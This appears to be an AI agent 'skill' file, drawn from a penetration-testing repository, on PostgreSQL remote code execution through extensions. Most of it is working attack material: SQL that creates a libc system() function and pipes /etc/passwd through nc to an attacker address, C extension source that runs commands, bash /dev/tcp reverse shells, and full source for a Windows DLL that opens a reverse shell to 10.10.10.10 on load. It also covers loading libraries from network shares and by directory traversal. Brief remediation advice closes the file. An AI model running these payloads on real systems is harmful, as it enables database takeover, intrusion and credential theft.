Hacktricks-skills postgresql-extension-rce

PostgreSQL Remote Code Execution via Extensions - Use this skill when testing PostgreSQL databases for extension loading vulnerabilities, analyzing RCE attack vectors through shared library injection, or understanding how to exploit CREATE FUNCTION to load malicious C extensions. Trigger this skill for any PostgreSQL security assessment involving extension mechanisms, shared library loading, or when investigating potential code execution paths through database functions. This covers PostgreSQL 8.1 through latest versions including directory traversal attacks.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions/SKILL.MD
source content

PostgreSQL Extension RCE Assessment

⚠️ AUTHORIZED USE ONLY - This skill is for authorized security assessments, penetration testing, and educational purposes. Only use against systems you own or have explicit written permission to test.

Overview

PostgreSQL's extensibility feature allows loading C libraries as database functions. This can be exploited for Remote Code Execution (RCE) when:

  • The database user has sufficient privileges to create functions
  • Shared library loading is not properly restricted
  • Directory traversal is possible in the CREATE FUNCTION path

Attack Vectors by Version

PostgreSQL 8.1 and Earlier (Legacy)

Direct system() function creation using libc:

-- Execute system commands
CREATE OR REPLACE FUNCTION system(cstring) 
  RETURNS integer 
  AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' 
  LANGUAGE 'c' STRICT;

SELECT system('cat /etc/passwd | nc <attacker_ip> <attacker_port>');

-- File operations
CREATE OR REPLACE FUNCTION open(cstring, int, int) 
  RETURNS int 
  AS '/lib/libc.so.6', 'open' 
  LANGUAGE 'C' STRICT;

CREATE OR REPLACE FUNCTION write(int, cstring, int) 
  RETURNS int 
  AS '/lib/libc.so.6', 'write' 
  LANGUAGE 'C' STRICT;

CREATE OR REPLACE FUNCTION close(int) 
  RETURNS int 
  AS '/lib/libc.so.6', 'close' 
  LANGUAGE 'C' STRICT;

PostgreSQL 8.2+ (Magic Block Required)

PostgreSQL 8.2+ requires the

PG_MODULE_MAGIC
macro in extension libraries:

#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);

Datum pg_exec(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

Compilation:

# Install matching PostgreSQL version
apt install postgresql postgresql-server-dev-9.6

# Compile the extension
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

Usage after upload:

CREATE FUNCTION sys(cstring) 
  RETURNS int 
  AS '/tmp/pg_exec.so', 'pg_exec' 
  LANGUAGE C STRICT;

SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');

Windows DLL Execution

Basic DLL (executes function):

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

Datum pgsql_exec(PG_FUNCTION_ARGS) {
    #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
    int instances = PG_GETARG_INT32(1);
    for (int c = 0; c < instances; c++) {
        ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
    }
    PG_RETURN_VOID();
}

Usage:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) 
  RETURNS void 
  AS '\\\\10.10.10.10\\shared\\pgsql_exec.dll', 'pgsql_exec' 
  LANGUAGE C STRICT;

SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Reverse Shell DLL (DllMain execution):

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
                    _In_ DWORD fdwReason,
                    _In_ LPVOID lpvReserved)
{
    WSADATA wsaData;
    SOCKET wsock;
    struct sockaddr_in server;
    char ip_addr[16];
    STARTUPINFOA startupinfo;
    PROCESS_INFORMATION processinfo;

    char *program = "cmd.exe";
    const char *ip = PG_REVSHELL_CALLHOME_SERVER;
    u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct hostent *host;
    host = gethostbyname(ip);
    strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr)));

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL);

    memset(&startupinfo, 0, sizeof(startupinfo));
    startupinfo.cb = sizeof(startupinfo);
    startupinfo.dwFlags = STARTF_USESTDHANDLES;
    startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock;

    CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo);

    return TRUE;
}

PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(dummy_function);

Datum dummy_function(PG_FUNCTION_ARGS) {
    int32 arg = PG_GETARG_INT32(0);
    PG_RETURN_INT32(arg + 1);
}

Note: Just loading the DLL triggers the reverse shell - no function call needed:

CREATE OR REPLACE FUNCTION dummy_function(int) 
  RETURNS int 
  AS '\\\\10.10.10.10\\shared\\dummy_function.dll', 'dummy_function' 
  LANGUAGE C STRICT;

Latest PostgreSQL Versions (Directory Traversal)

Modern PostgreSQL restricts library loading to specific directories, but

CREATE FUNCTION
allows directory traversal:

Attack Flow:

  1. Upload malicious library using large objects
  2. Export to data directory
  3. Load via directory traversal
-- Upload via large objects (see scripts/pg_large_object_upload.py)
-- Then load with directory traversal:

CREATE FUNCTION connect_back(text, integer) 
  RETURNS void 
  AS '../data/poc', 'connect_back' 
  LANGUAGE C STRICT;

SELECT connect_back('192.168.100.54', 1234);

Note: Don't append

.dll
extension - CREATE FUNCTION adds it automatically.

Assessment Checklist

Prerequisites

  • PostgreSQL version identified (
    SELECT version();
    )
  • User privileges verified (superuser or function creation rights)
  • File upload capability confirmed
  • Network access to attacker infrastructure

Version-Specific Checks

  • 8.1-: Test direct libc function creation
  • 8.2+: Verify magic block requirement, compile custom extension
  • Latest: Test directory traversal in CREATE FUNCTION
  • Windows: Test DLL loading from network shares

Privilege Escalation Paths

  • Can create functions without superuser?
  • Can write to PostgreSQL data directory?
  • Can load from restricted directories?
  • Large object permissions (
    pg_largeobject
    )

Remediation Recommendations

  1. Restrict CREATE FUNCTION privileges - Only grant to trusted superusers
  2. Disable shared library loading - Set
    shared_preload_libraries
    carefully
  3. Use PostgreSQL 11+ - Has improved restrictions on library loading
  4. Monitor function creation - Alert on CREATE FUNCTION statements
  5. Restrict file system access - Limit postgres user write permissions
  6. Network segmentation - Prevent database server from reaching internal systems

References